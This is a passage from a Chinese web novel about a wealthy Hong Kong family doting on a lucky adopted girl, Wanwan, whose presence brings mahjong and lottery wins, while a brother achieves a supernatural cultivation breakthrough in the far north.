助理匆匆的推门进来，王耀祖还没来得及开口，座机又响了，是与黎氏有合作的建筑材料供应商，不知从哪得知了黎氏和他取消了合作，竟然也来添堵：“王总，考虑到当前的情况，我们决定合同到期后，不再续约，提前和您说一声，望您理解。” “喂？喂！”对面又不等王耀祖说话，就挂断了电话。 助理给他放在桌面上的几份解约合同，王耀祖捏着发白的指尖，气得浑身发抖，像牛一样大喘气。 “王总，从早上开始，就不停的有合作商发来解约通知，难道是我们得罪什么人了，要这样搞我们？” 王耀祖靠着椅背，眉头拧成疙瘩，半晌拿起电话，打给王素珍。 “喂，怎么了？” 王耀祖暴跳如雷的站起身：“不是说转学就行了吗？黎家为什么还要解约！” 王素珍被噎住。 昨晚吕洁芳回去后，院子里没有什么动静，她看时间太晚了，就没去过问。 结果等到她今天早上想要去看望，却被老爷子派来的佣人给拦在外面，声称吕洁芳身体不适，需要静养。 王素珍当时就感觉到了不好，正要给大哥打电话，没想到他的质问先来。 “我也不清楚，老夫人昨天晚上特意去找老爷子做主，想来，是一时着急说错了话……” “哎，早知道我直接给珊珊转学就好了，真不该听你的！现在好了，我这些年苦苦规划布局，全都白费！” 王耀祖失落的放下电话，知道他就算再埋怨，对现在的情况都于事无补。 好在这些年他背靠黎家，拉拢了不少关系，只能多去求一求，看是否能将黎家的窟窿补上。 而王素珍也在被弟弟责备后，气到快要心肌梗死，心里骂吕洁芳是个没用的老东西！ 随即她也只能收拾东西，回娘家一起帮忙想办法。 …… 不同于王家人的愁眉不展，宋珍珍在全权处理过王家的事情后，约了几位富太太去棋牌室，准备撮几圈。 随着黎墨城能够在公司独当一面，她也只有偶尔才会过问一下生意，更多的时候，还是作为黎家的女主人，混迹在港城的富太圈子里，维护人脉关系。 棋牌室内，麻将哗啦哗啦的声音很快响了起来。 宋珍珍最近的手气都不太好，能赢的牌面都很小，反倒是输的牌面一副比一副大，有时更是一炮三响！ 若不是在坐的都是知根知底的老朋友，她都要怀疑，几个人是不是联合起来给她做局出老千。 但是今天，宋珍珍从坐下开始，手气比牛还壮！ 连赢了局后，紧跟着就糊了一把自摸十三幺，笑得她嘴角都要咧到耳根子去。 “阿珍今日拜过财神爷啦，手气咁旺！”穿着香槟旗袍的陈太露出羡慕的神色。 涂着淡雅指甲油的手指精准的捻起一张九万，宋珍珍微微收敛唇角。 “哪有陈太你厉害，上次在半岛酒店，你单吊幺鸡都能自摸。” 话音刚落，坐在对面的张太打出了一张一筒。 宋珍珍眼疾手快推倒三章：“不好意思，我杠。” 张太无语的翻了个翻眼皮，正后悔刚才不该打一筒的，结果就见宋珍珍把眼前的牌一推，笑得眼睛眯成了一条缝隙。 “杠上开花，姐妹们承让啦。” 佣人端着鎏金托盘上前，添上刚泡好的普洱，空气中飘着香水与坛香混合的味道。 宋珍珍又接连糊了五把，把另外三位太太直接就搞得没了兴致。 “唔打啦，唔打啦，下次我都要提前拜下财神，唔好输到甩裤啊！” 宋珍珍闻言只是轻笑，“这点小钱算什么，过几天有新的邮轮出海，我请你们都上去玩玩。” “说好啦，你可不要反悔。” …… 宋珍珍亲自到学园替小婉婉做主，迫使转了学，班里没人带头搞针对，小婉婉跟同学相处的都很愉快。 放学的时候，她被刘祖玉牵着小手走出学园。 宋珍珍早早的跟黎墨城还有黎墨冰在制定区域等着，见到心心念念的小人儿，三人不约而同的往前挤。 不过最后还是宋珍珍先抱到了小婉婉，开心的在她脸上亲了一口。 “妈咪，你的裙子好漂亮哦。”小婉婉和大多数女孩子一样，喜欢各种浅浅的颜色。 宋珍珍今天穿了一件粉色绣着牡丹花的旗袍，优雅之中，又透着几分灵动的俏丽。 “是吗？这小嘴儿可真甜。”宋珍珍抱着小婉婉上了车，随即便询问她有没有再被欺负。 小婉婉摇了摇头，奶声奶气的说道：“没有了，我交到了两个好朋友，她们是陈玲玲和孙彤彤。” “太好了，婉婉宝贝真棒！”宋珍珍捧着她的小脸儿，又亲了好几口。 想到今天在牌局上一直赢牌，被朋友说拜过财神，她心说哪里有拜财神，分明是怀里的幸运星小家伙，给她带来的好运。 “婉婉，看看这是什么？”宋珍珍把一个大大的红包放在她手里。 既然是小婉婉帮她赢来的钱，当然要给她分红了。 小婉婉两只小手打开红包，当即“哇”了一声。 “妈咪，好多票票，给婉婉买好吃的？” 宋珍珍被小家伙贪嘴的模样逗得‘咯咯’笑个不停，感慨到底还是太小，有了钱也只顾着填满那张小嘴儿，一点儿都不想别的。 “对，都给我们婉婉买好吃的，买多多的。” 车子开进山庄，宋珍珍抱着婉婉去了老夫人那里，黎墨城和黎墨冰像两只大尾巴似的跟在后面，宋珍珍回头看了他们一眼，唇角勾着的笑容就没落下去过。 “看来因为婉婉，你们兄弟俩的感情比以前更要好了。” 黎墨城听到母亲打趣自己，下意识瞪了旁边一眼，加快了脚步。 “是他像个牛皮糖，谁跟他要好！” 黎墨冰望着他高冷的后脑勺，自顾发笑：“妈咪说的没错，自从有了婉婉，大哥对我不像以前那样冷漠。” 宋珍珍颔首，归根究底，阿城与阿冰之间关系开始疏离，就是当年朱丽月对阿郢的算计。 阿城一心向着阿郢，所以才对阿冰一直保有防备。 可是他母亲一意孤行做错的事，怎么能牵连到孩子呢？ 黎墨冰也是宋珍珍看着长大的，不止他，黎立轩所有的孩子，每周都要给她请安两次。学习、生活方方面面，都要向她报备。 不管是出自真心也好，或者尽职尽责的作为当家女主人，她都要保证对他们的了解和掌控。 宋珍珍抱着小婉婉进门，将她交给黎墨城和黎墨冰，一起陪她去写作业。 她则坐在老夫人身侧，说起今天与王家结束生意往来的事情。 黎老夫人昨天就收到了消息，唇边挂着一丝浅浅的不屑。 “老东西当年犯糊涂，现在倒是清醒过来，怕我生气，连声招呼都没敢跟我打。” 他不打招呼，就以为自己不知道吗？ 家外的生意她确实插不上手，可是这山庄里大大小小的动静，哪怕飞过一只苍蝇，都逃不过她的法眼。 “等着看吧，王家现在是热锅上的蚂蚁，王素珍要忙着补窟窿，风头一过，肯定不会安然接受现实。” 宋珍珍明白婆婆是在提醒，要小心提防着王家人。 他们毕竟也是在港城坐拥一席之地的大家族，虽然无法与黎家相提并论，但黄蜂尾后针，藏着剧毒。 尤其王素珍那个人是狐狸戴草帽，装好人，藏坏心。黎立轩后来娶的四姨娘，就是因为得罪了她，被算计得连命都丢了。 还有吕洁芳这些年看似低调不争不抢，实则韬光养晦，若她真的没有跟大房争斗的心思，又怎么会逼黎立正把王素珍娶回家？ 还不是一开始就抱着借势的念头！ “妈咪放心就好，王家这次面临的，可不止是跟我们解除合作这么简单。”宋珍珍的目光落给黎墨冰。 相较于黎墨城的正直、沉稳，他才是爱人苦心栽培成的可靠利刃，有些明面上，黎墨城逆不了人格，不屑于去做的事，他会。 “我昨天就让阿冰在圈里放出话去，以后凡是与王氏来往的企业，黎氏集团皆不会再合作。” 消灭蟑螂最好的办法是什么？ 当然是一整窝都彻底搞死了。 …… 宋珍珍和老夫人说完了话，一转头，就看见写完作业的小婉婉，将她给的红包掏了出来，直接塞到黎墨城的手里。 “大哥哥，这些票票都给你。” “给我？”黎墨城有点哭笑不得。 他刚才只不过是和黎墨冰简单说了几句资金运转的话题，应该是被小家伙听了去，误以为他们缺钱，就毫不吝啬的把红包奉献出来。 黎墨城抚摸她的头，刚要开口说不用，身后，宋珍珍重重的清了清嗓子。 “阿城，有啲出息啦，妹妹零用钱嘅主意你都要打？” 黎墨城：“……” 第80章 钱放在自己袋子里才安心 黎墨城无奈的叫了声：“妈咪。” 宋珍珍当然只是打趣，为了看一眼儿子窘迫的模样而已，玩心不减。 不过她脸上还是故意挂着严肃，说道：“不过小婉婉现在还不会花钱，你可以先帮她保管，等她大一些就还给她，一分都不准私藏。” “是。”黎墨城答应，帮婉婉将红包保管起来。 吃过晚饭，宋珍珍询问过小婉婉的意见，听她说想要去黎墨城那边住，便和老夫人告辞先回去了。 黎墨冰也在黎老爷过来后，被抓去陪着下棋。 “阿奶，婉婉上了一天学，看起来有点累了，我带她回去早点休息。”黎墨城起身道。 黎老夫人心疼的摸了摸小婉婉的脸蛋儿，立刻就让他带回去了。 一夜，好梦。 次日小婉婉刚睡醒，宋珍珍又过来陪她洗漱、吃饭，像亲生女儿一般细心照顾。 黎墨城看在眼里，禁不住为自己和几个弟弟叫委屈。 “妈咪，我们从小到大，您都没有亲自给我们选过衣服。” “你们？”宋珍珍被气笑了，“你们跟婉婉能比？你们谁要是女孩儿，我也给你们选衣服，梳小辫子，谁让你们不是？” 宋珍珍如今也算是在照顾婉婉的过程中，体验养女儿的乐趣，简直是童年时期，对想要拥有一个真正芭比娃娃的憧憬照进现实。 这哪里是她照顾婉婉？ 分明是女儿在给她源源不断的提供情绪价值呀！ 而小婉婉听到宋珍珍说黎墨城的话后，天真的仰头说道：“大哥哥没关系，你也留长头发，梳小辫子。” 黎墨城简直无法想象那会是什么场景…… 宋珍珍直接喷笑道：“你大哥要是梳小辫子，你阿爷回头就得让他屁股开花！男生哪有梳小辫子的？” “可是二哥哥都要梳呢。”小婉婉想起了黎墨冰。 宋珍珍说：“所以他屁股不是总开花儿了？” “好像也是呢！”小婉婉一本正经的认同：“二哥哥不止屁股开花，衣服上也都是花花。” “他那个人就花里胡哨。” 宋珍珍给小婉婉梳洗完，最后抱了抱她，就应邀去了一场公益活动。 活动结束后，宋珍珍又被几位富太太邀约去半岛酒店打麻将。 如昨日，她一杀三赢了个大满贯，今天也是从坐在牌局上就开始走运。 “哎呀，我又自摸啦！”宋珍珍到了后面，光是数钱都把手指头数麻了。 另外三位太太偏不信邪，说她占了财神主位，要求重新调换位置，再继续。 宋珍珍但笑不语，答应调换了位置，结果还是赢钱。 “黎太今日手气真系劲，连赢八圈啦。”对面一只手，给宋珍珍笑着递来茶盅。 宋珍珍小心接过，唇瓣儿贴着杯沿轻啜，又听见旁边声音：“她换走了财神位，运气当然好！” 旁边的人叹着气摸牌，她已经又把新摸的牌按进牌墙，“不好意思各位，我又自摸，九宝莲灯。” 众人：“……” 饶是常年泡在牌场上的几人，也从没见过有人能够在一天赢这么大！ “黎太，你唔学会出老千？连赌神见咗你都要让座！” 朋友将宋珍珍与赌神相提并论，她连连摆手，说道：“真的只是运气好而已，下次该换你们赢啦。” …… 宋珍珍今天又赢了大钱，回家后第一时间就给婉婉包了一个大红包，等到小婉婉回来，给她看过之后，才交给黎墨城保管。 “婉婉现在学会数多少个数了？”她蹲下来问婉婉。 旁边准备存钱的黎墨城听到这话，似乎猜到母亲要说什么，嘴角抽了几下。 “妈咪，我会数二百个数了。”小婉婉伸出两个小手指，汇报起自己的学习情况。 宋珍珍一听，距离她给婉婉的红包还远远不够，这她怎么能有概念。 “才会数二百呀。” 黎墨城在一旁叹气：“婉婉才上学四五天，能够数到二百，已经不容易。” “好吧。”宋珍珍还是觉得放在保险柜里不妥，万一被谁不小心给拿走了呢，于是她起身对黎墨城吩咐：“你明天抽空去银行，专门给婉婉开个户头，以后凡是婉婉的零花钱也好，或者任何人给的红包，全都存进去。” 按照规矩，黎家的孩子每个月都有固定的零花钱，小婉婉因为还太小，自己不会花钱，所以那一份一直都是张南代替保管。 但宋珍珍并不相信张南会一碗水端平，考虑到之前三番两次从内陆过来找事的子女，她必须要以婉婉的利益为首。 钱这东西，永远都是放在自己的钱袋子里最安心！ “那这件事，用去跟五妈说一声吗？”黎墨城问道。 宋珍珍点点头：“去跟她说一声，偶尔有空，你带着婉婉给去她见一见。” “好。” 黎墨城见天色晚了，便作罢了去探望张南的打算，决定等她放假的时候再去。 至于给婉婉成立单独户头的决定，也只是通知她而已，并不用征求她的意见。 …… 一眨眼，小婉婉上学已经有一周了，终于迎来了她的第一个假期。 因为只有一天时间，而她要做的事情太多，一整天都被安排的满满当当的。 大清早，小婉婉被黎墨城带着，先去宋珍珍那请安，顺便吃了早饭。 然后她又跟黎墨城去了老爷和夫人那里，跟一众哥哥们站成一排，给两位长辈请安。 黎老爷给那些孙子们，一个接着一个指出毛病，勒令他们改正，有表现不错的，也会适当夸奖两句。 等到他的目光落给小婉婉的时候，那眼神儿和表情就完全变了副模样。 “婉婉，快来阿爷这儿，今天的作业写完了吗？阿爷带你去钓鱼好不好？” 老爷子自从上次带婉婉去钓过鱼，后来好几次都是空军回来，今天就要到老朋友面前涨涨威风！ 小婉婉望着老爷子满是慈祥的笑容，刚要点头，这时黎墨城开口：“阿爷，妈咪今天要带婉婉置办学习用品，下午回来，还要去看望五妈。” 黎老爷一听，顿时不高兴。 “总共就一天假，你们都不让她好好休息？” 黎墨城心虚的低下头，同时又遭到老夫人幽怨的白眼。 不过到底是宋珍珍的安排，二老没有阻止，抱怨了两句就让他把婉婉带走了。 这时，一向话唠的黎墨黔一听说老爷子要去钓鱼，试探着开了口：“阿爷，您能带我一块儿去钓鱼吗？我想跟你去。” 结果转眼遭到老爷子的嫌弃，“作业写完了吗你，就想我带你去钓鱼？就你那拿不出手的成绩，在我那些朋友面前都抬不起头来，怎么好意思说的！” 黎墨黔：“……” 最后，黎老爷一生气，决定不去了，把黎墨黔和黎墨羽、黎墨瞳打发回去写作业，叫了黎墨冰过去陪他下象棋。 …… 宋珍珍过几天要协助黎立轩筹办一场跨国交流会，到时恐怕没有时间陪伴小婉婉，所以才趁着今天有空，把该给她准备的东西一律都安排好。 她让黎墨城开车去了铜锣湾，黎家在这里有一座商场，宋珍珍提前就打好了招呼，带着婉婉选购，全程都有人陪护服务。 宋珍珍除了按照自己的心意给婉婉采购，也会经常问她的意见，但凡她点头说出‘喜欢’两个字，都直接让柜员包起来。 黎墨城看得有些心痒，几次想要去抱婉婉，都被宋珍珍拒绝，后来干脆让他也去给婉婉挑选一些东西，把精力占用就没那么多事了。 大部队一逛就是一个多小时，不止宋珍珍走累了，小婉婉也对商场里的东西不感冒，从高频率点头变成习惯性摇头。 “那我们就去吃午茶吧。” 宋珍珍去了一家茶餐厅，也是刚好，赶上茶餐厅活动，消费满一定金额，就可以参与一次六合彩投注。 宋珍珍作用万亿家产，对这些东西不感冒，只当是随手的玩物，把投注纸交给了小婉婉，让她随便填写数字，当写着玩了。 小婉婉并不知道这是什么东西，于是就将最近经常写出错的几个数字，练习了一遍，然后交给宋珍珍。 “妈咪，我写好了，看看对不对。” 小丫头刚刚开始学写字，字迹里还充斥着生疏，但并不妨碍她写得规规矩矩，一眼就能辨认出是什么。 “写得不错，那就这几个吧。”宋珍珍将纸页交给适应生。 然而，谁也没想到，就是这个不走心的举动，伴随着晚间电视播报，六合彩的中奖号码正是小婉婉白天写出的来数字。 宋珍珍发现自己中奖了，立刻起身到处翻找奖劵！ 她活了半辈子，中奖还是第一次，虽说这点钱对她来说，不过是星星雨，可这是六合彩啊！ 百万之中都未必诞生出一个，就让她给中了！ 宋珍珍最后在包的角落发现那张奖劵，笑的前仰后合，而后笑着笑着，不自觉就有眼泪落下。 嘴里喃喃着：“宝贝，真是个宝贝！” 宋珍珍现在无比肯定，小婉婉就是她的福星！ 她不过是照顾了小婉婉几天，就先是赢钱，现在又中了六合彩，她都不敢想象，以后还有多少像这样的好事等着她。 大抵人的幸福，便是找到心理的依托。 宋珍珍从前没有信仰，从来没有起过依靠过谁的念头，哪怕风雨再大，她都只能强撑着，不让自己倒下。 现在这种感觉就像什么呢？ 一个小小的人儿，哄她高兴，还带给她不断的惊喜，就像是一眼望到了头的人生，突然出现了不一样的希望…… 宋珍珍情绪平静下来后，并不打算私吞这笔奖金。果断拿着彩票去找黎墨城，让他把里面的钱兑换出来后，直接存在小婉婉的账户。 黎墨城得知小婉婉随手写的几个号码中了大奖，喜悦溢于言表。 宋珍珍看了眼屋外，低声叮嘱：“婉婉的能力神奇，张扬不是好事，除了你阿爷阿奶，不要对任何人提。” 宋珍珍的担忧不是草木皆兵。 而是她生活在黎家太久，再知道不过，这看似平静的海绵下，蕴藏着多少汹涌波涛。 不说黎立轩的那些姨太太，她尚且能够震慑得住。 还有二房的吕姨奶奶，王素珍、黎丽敏她们那些，若是知道小婉婉天生的好气运，势必会激起她们的嫉妒，徒生事端。 黎墨城知道这件事非同小可，没有与宋珍珍说太多，就低调的出门了。 宋珍珍来到小婉婉跟前，听着小家伙呼喊“妈咪”，望着她亮晶晶，能够治愈人的大眼睛，心脏柔软的快要融化。 无意识的被她拉着小手，坐在书桌前。 小家伙站着，还不及她胸口，怀里抱着一本大大的日历，把她的头都给挡住了。 只见她指着上面的数字，一个一个的给她数。 数到最后一个打圈圈的日期，她小脸儿上的笑充满的愉悦的期待。 “还有二十天哦，三哥哥就会回来。” 宋珍珍看着她认真数算日期的小表情，恍然大悟，原来她并没有像寻常孩子那样，有了别人的陪伴，就把之前陪她的人给忘了。 相反，她心里一直都记着阿郢，每天都在认真数算，盼着他快点回来。 “婉婉想三哥哥了是不是？”宋珍珍感动的把她抱进怀里。 又何止她一个人想呢，和黎墨城一样，黎墨郢也是她身上掉下来的肉，自从他出门去历练，宋珍珍比任何人都要担心。 也只有每次见到小婉婉的时候，她才能找到一丝安慰，不会时时刻刻挂念。 “妈咪，你哭了吗？”小婉婉用小手抚摸她的脸，摸到了温湿的一片。 宋珍珍赶忙擦掉无意识流下的眼泪，在她脸上亲了一口。 “没有，妈咪眼睛是被风吹的，你想三哥哥，那妈咪想办法联系他，我们跟他说说话好不好？” “好呀。”小婉婉开心的点头。 宋珍珍虽然不知道黎墨郢具体位置在哪里，但孙师傅每到一处地点，都会给老爷子打电话报备，只要想和他联络，等一等，总能联系上。 这之后，宋珍珍等了三天，终于接到了黎墨郢的电话。 “妈咪，您找我？” 听着少年在那头不紧不慢的声音，宋珍珍肚子里窝着一股火，劈头盖脸的把他骂了一顿。 “臭小子，知唔知我哋几担心你啊？尤其系婉婉，自从你出门喺度计住你返嚟嘅日期，你畀我哋打电话，会耽搁你成仙咩？” 【臭小子，知不知道我多担心你？尤其是婉婉，自从你出门就在算着你回来的日期，你给我们打个电话，会耽搁你成仙吗？】 第81章 三哥哥，我好想你呀 呼呼的风声，伴随着少年的呼吸，透过听筒传来。 宋珍珍骂完了人，才察觉到他那边的天气应该很恶劣，于是换做关心：“你现在在哪儿？” “内地，极北。”黎墨郢回答。 宋珍珍握紧了话筒。 内地极北，这个季节已经很冷，想到他离开时穿着薄薄的衣裤，宋珍珍的脚心不自觉冒出一股寒意。 “你有衣服穿吗？修行辛不辛苦？” “还好。” 彼时，黎墨郢穿着一件夹克外衣、冲锋裤，脚上踩着一双高帮的牛皮靴子，除了头部和手露出来，其他地方都捂得严严实实。 但冷空冷吹拂而来，还是让他的声音染上了丝丝的颤意。 “婉婉呢？”他问道。 宋珍珍顺势说了句：‘她在旁边。’将话筒递给了早就迫不及待的小家伙。 小婉婉第一次接电话，还不太会使用，学习宋珍珍的模样，把说话的位置放在嘴边。 “三哥哥。” 小丫头软软的呼唤，宛若一股暖流，沿着听筒钻进耳朵。 “婉婉。”黎墨郢回了一句。 然而对面的小家伙不知道是没听到，还是因为信号不好，又迷茫的叫了一声：“三哥哥？” “我在。”黎墨郢并没有不耐烦。 反而透过这通电话，在心里描绘出她接起电话的憨憨表情。 听筒中，传来宋珍珍不太真切的声音。 “婉婉，电话要这样拿，把另一面对准耳朵。” “哦。”清楚的应声响起，小婉婉又叫了一遍：“三哥哥？” “我在呢。”黎墨郢不自觉勾起唇角，心里笑她是个小笨蛋，连电话都不会用。 “三哥哥！”这一次，小丫头的呼唤，透着浓浓的喜悦，显然是听到了他的声音。 “嗯。”黎墨郢连日修行的疲惫，就这么在她的呼唤中，刷的一下，从身体里抽走。 “三哥哥，我好想你呀。”小婉婉直接就诉说起了对他的想念之情。 黎墨郢回了声：“我也是。” 之前两个人形影不离的生活在一起，骤然分开，怎么会不想念？ 而接下来，就是小丫头一个人的碎碎念。 “三哥哥，婉婉上学了哦，也会从1数到200，老师奖励了我好多好多小红花……” 响应着身后的风声，黎墨郢听着小丫头奶声奶气的话音，身体似乎都感觉不到寒冷，只被这种淡淡的温馨包围着。 时间的流速，也仿佛在这一刻停滞。 他的灵魂，随着小丫头萌萌的自言自语，去了她身边，在无形中陪伴着她。 “我每天都有吃多多的饭哦，都长高了呢……” “大狗狗可乖了，一点都不咬我。” “三哥哥？你怎么不说话？”小婉婉自己说了许久，没听到黎墨郢的回答，有点儿急了。 黎墨郢清了清沙哑的嗓子，用温和的声音回：“我在呢，你说，我听着。” “三哥哥，我今晚和妈咪一起睡哦，可是……”小婉婉说这话的时候，还特意向宋珍珍的方向看了一眼。 发现她正在专心致志的泡茶，才放开了胆子，把剩下的话说出来：“我更想要你陪我。” 好吧。 宋珍珍实际上一直留意着这边，小家伙说的话，也一字不落的听进耳朵里。 捂着唇笑的同时，还要装作什么都没听见，免得小家伙尴尬。 “三哥哥，你是不是三十天就回来了呢？”小婉婉对着话筒问。 黎墨郢却只道：“快了。” 随即看了眼腕表，知道她还要上学，便催促：“你早点休息，过两天我再打给你。” “嗯。”小婉婉语气里透着浓浓的不舍，跟她道别：“三哥哥晚安哦。” “晚安。” 挂断电话，黎墨郢的心情也是同样的不舍。 但为了能够尽快回去，他还要努力修行，争取完成第一阶段的突破。 孙师傅说过，只要他开了灵智，学会驾驭灵力，那么以后就不会被降龙的戾气左右，变得失去理智。 可是具体要怎么开灵智，孙师傅也仅限于纸上谈兵，除了交给他一些心法，别的忙根本就帮不上。 但经过跟小婉婉的通话，他刚才似乎找到了一点感觉，便是思念被唤醒的一瞬，身体有一股力量的线头被他察觉。 他接下来只要抓住那个线头，就能看到希望。 …… 一眨眼，两天过去了。 小婉婉今天放学回来，竟然没有第一时间去写作业，而是跑到老夫人院子里的书房，守着桌上的电话。 “婉婉，今晚要在这里学习？”黎墨城没有多想，帮她把书包拎了过来，顺势打开了作业本。 小婉婉也没有解释，就着大大的书桌，开始写起了家庭作业。 写到一半的时候，她忽然想起什么，抬头对黎墨城说道：“大哥哥，外教老师给我们布置的作业是写词卡，可是妈咪说，小孩子不能动剪刀。” 黎墨城明白，小婉婉是在寻求他帮忙。 于是拿来剪刀和卡纸，按照她的描述，修剪成长方形的小卡片。 小婉婉正好写完了数学，拿起彩色的画画笔，在小卡片上写出今天学习过的英语单词。 而后她转头问黎墨城：“大哥哥，autumn是什么意思？” “秋天。”黎墨城是黎家长子，从小就被家人教育，要给弟弟们树立好的学习榜样，所以他一直都严格要求自己，在学习上从来不偷懒，自然学习成绩也是名列前茅的。 而他英语的口语，也是黎老爷子专门请的私教授课，外加上后来出国深造，英语口语非常标准。 小婉婉这几日在他的指导下，已经学会了全部英文字母，开始学习音标的发音。 “原来是秋天的意思呀，autumn,mutumn，m、u、t、u、m、u，是秋天。”小婉婉下意识的将单词的拼读都记在脑海。 黎墨城接下来又耐心的辅助她学会了几个，到了晚饭时间，黎老夫人派佣人过来，叫他们过去吃完饭。 小婉婉收拾好了书包，却看着电话，迟迟不肯走。 “婉婉怎么了？”黎墨城留意到她的异常，蹲下来询问。 小婉婉鼓着脸颊，说道：“三哥哥说，过两天给我打电话的。” 黎墨城这才明白，原来到这里写作业，是在等黎墨郢的电话。 揉了揉小丫头的头，他温声和她解释：“婉婉，我们有时说‘过两天’，并不一定是准确的两天，‘两天’只是个大概的形容词，类似于‘过几天’。” 小婉婉听了黎墨城的解释，人儿都懵了。 傻乎乎的问：“那两天到底是几天呢？” 黎墨城叹了口气，怕她一直不去吃饭，饿坏了肚子，把她从地上抱起来，一边走一边说道：“大哥知道你想三哥，可是也不能为了等他，不好好吃饭呀？反正他到了时间自然就会回来，不用每天数着日期等。” 小婉婉整个小人儿还处在懵懵的状态里，对于黎墨城的解释，自然而然的认为：黎墨郢又骗小孩子。 以至于她气鼓鼓的抱起小胳膊，说了一句：“三哥哥说话不算数，我不想他了，哼！” 黎墨城嘴角尴尬的一抽：“呃……那就不想他。” 坑完了弟弟，黎墨城完全没有心理压力的抱着小婉婉，坐在餐桌前。 小婉婉化气愤为食量，把小肚子吃得圆鼓鼓，和黎墨城在园子里遛弯后，香喷喷的睡下了。 …… 雪山之巅。 罡风卷着碎雪，刮过少年清秀冷厉的面孔。 那皮肤下音乐透着的金色图腾，光华显露的背后，青金色鳞片的纹路也同样在流转。 少年感受到一股无形的力量，被他带动着，在身体里流动，他睁开了眼睛，瞳孔骤然收缩，化形为红色的竖瞳。 只是这一次，他没有被那股凶煞之气控制，而是像一个旁观者，望着山巅的更高处。 随着他起身，雪山周围的云层像是被一股力量撕扯、破裂，少年脚踏云雾腾空，只眨眼的刹那，便行进数千米。 冷峻的身影屹立于最高的山巅之上，铅灰色的天幕下，一道蜿蜒的龙影从他身后拔地而起！ 龙影周身覆盖着的墨色鳞片，每一片，都映着雪光，巨龙轻轻摆尾，便震荡整座雪山微微震颤。 积压的厚雪从山峰滚落，扬起漫天雪舞，呼啸若龙吟，滚滚荡荡的，形成了一场狂大雪暴。 山下之人纵观林立的雪山高峰，且听雷声阵阵，黑色的秘籍云层宛若龙影，周身包裹着紫色的雷电，顺着山脊游走。 孙师傅看见这副场景，激动的双腿直站不稳，跌跌撞撞的跑到门外。 祁山同样被强大的威压震慑，刚才听到那一声惊雷炸响，险些本能的跪了下去。 心中感慨，不愧是降龙转世，身上携带的罡煞之气，引得天道都发生异象。 跟着他走出来，望着远处的山峰说：“孙道友，你果然没说错，山峦上的龙脉与三少爷体内的龙魂呼应，帮他成功开启了灵智，我活了这么多年，还是第一次见。” 孙师傅又何尝不是第一次见！ 不过相较于黎墨郢修行有成的喜悦，他更担心接下来的问题。 “雷打雪，人吃铁。本就是末法时代，如今三少爷又吸取龙脉气韵，这附近的村落……怕是要引起一些灾荒。” 祁山听后沉吟了数秒，给他出了个主意：“现在时代不同了，并非像过去那么艰难，黎家财势资源雄厚，多行义举，兴许可以积福报于百姓，也当时为三少爷积德。” “对，你说的没错！”孙师傅经过提醒，这就去给黎家打电话，将情况提前告知。 …… 小婉婉昨天没有等到黎墨郢的电话，还因为黎墨城的话造成了误会。 黎墨城心里有些过意不去，所以今天一整天，他都在书房里办公，也算是变相替小婉婉守着电话，避免黎墨郢联络的时候错过。 当电话铃声响起，他果断拿起，放在耳边。 孙师傅的声音凝重传来：“大少爷，三少爷在这边修行，遇到了一点麻烦，可能需要黎家为他做一些善后工作。” “他惹麻烦了？”黎墨城嘴角抽了抽。 按怪黎墨郢的不靠谱，平时不打电话，一打电话就让家里帮忙擦屁股。 “不是他惹麻烦，不过也算是因他而起……”孙师傅将情况给黎墨城说了一遍。 黎墨城一听这么大的工程，觉得自己无法做主，便去黎老爷的院子，将孙师傅的话转告，然后又向老爷子请示。 黎老爷子这几日为了在小婉婉面前展示一番书法，正在专心的提笔练字。一听孙师傅管他要花钱，不耐烦的摆了摆手：“一点钱而已，花就花了，只要人没事就可以了嘛。” “那我现在就去公司，找财务划款，然后派团队过去联络当地。”黎墨城转身欲走。 “等等。”黎老爷猛地停笔，绕过书桌走过来：“要多少钱啊，还得去找财务划账？” 黎墨城就知道，刚才自己的话，阿爷没有听清，于是仔细解释一遍：“孙师傅说，龙生水患，阿郢吸取了龙脉，影响山下气运，可能会造成水灾。所以除了向山神祈福，还要在附近的水域建堤修坝，具体的金额还要等报账出来。” 吧嗒。 黎老爷手里的毛笔直接掉在地上！ “好他个臭小子，上次吃了我那么多宝贝，我没跟他计较。这次出门半个月，又给我捅了这么大个篓子！” 建堤修坝工程，需要耗费巨大时间和精力，饶是黎家大富大贵，也要为此事折损根基。 黎家人耗费几代，才有至今的繁荣，黎老爷心疼也是正常。 “阿爷，孙师傅说，事关千万条人命，若我们不做善举，那么天罚也会影响黎家气运。”黎墨城以为他要改变主意，立刻将孙师傅说的原因告知。 下一秒，他就遭到了老爷子的瞪眼。 “你阿爷我是那么不知轻重的人嘛？花我这么多钱，我心疼一下还不行了？” 说完，黎老爷一声长叹，走到太师椅前，坐了下去。 “罢了，总归是那么多条人命，就当是为我黎家子孙积福积德，你只管派人过去。记住，修建堤坝非同小可，一定要找一个靠谱的负责人，将建设落到实处。” “是。”黎墨城得到许可，立刻出去做安排。 留下太师椅上的黎老爷，愤愤不平的嘀咕：“臭小子，等回来看我怎么收拾他。” 第82章 凶巴巴臭哥哥 龙影与少年的身影在雷光中重叠，闪现了几次，少年便来到了山脚。 遥遥看去，雪山上空的异象，正在逐渐散去。 黎墨郢转回身，道了一句：“是时候了。”脚步缓缓的走向山脚下的一处房屋。 “三少爷！”祁山见黎墨郢归来，本能的流露出了敬畏。 要知道在末法时代，凡人修行的路已经被封锁，能够自如调转灵气之人，已经算是大乘得道。 祁山完全不敢想象，长此以往，黎墨郢会发展到什么地步，或许，与九天之外的真神并列，都说不准。 这让他怎么能不畏惧？ “该回去了。”黎墨郢的声音透着虚空般的缥缈，宛若深谷中传来的仙音，光是听着，就让人身体产生酥麻、战栗。 “不等孙师傅吗？他去打电话了，应该很快。”祁山对他的话完全不敢反驳，只敢好声商量。 黎墨郢颔首，察觉到了祁山的异常表现，是跟自己开启灵智有关。 于是收敛灵神，随意的坐在椅子上：“那就等他一会儿。” 他的气场回到了一个普通人，终于让祁山感觉不到他身上的威压，长长地舒了一口气。 “三少爷，那我先去备车？” “不，去买机票。”黎墨郢用手按揉着眉心，看起来，有点不耐烦。“来时颠簸一路，回去我想轻松一些。” “好，那我现在就去。”祁山遵循黎墨郢的吩咐出门。 不多时，孙师傅打完电话回来，看见黎墨郢在休息，没有出声打扰，正打算退下，少年睁开了眼睛。 “我已经让祁山去买机票，等他回来就动身。” 孙师傅听后并不意外，黎墨郢这么急着完成突破，就是因为想家，他要是再阻止，这位祖宗保证会撂挑子不干。 “好，那就让祁山先同你回去，这边还有些事情，我得留下来处理。待到下次修行机遇到了，我再去港城接您。”孙师傅颔首，如祁山一样，对他多了更多的恭敬。 黎墨郢并不关心他走不走，淡淡的“嗯”了一声，便等着祁山回来。 …… 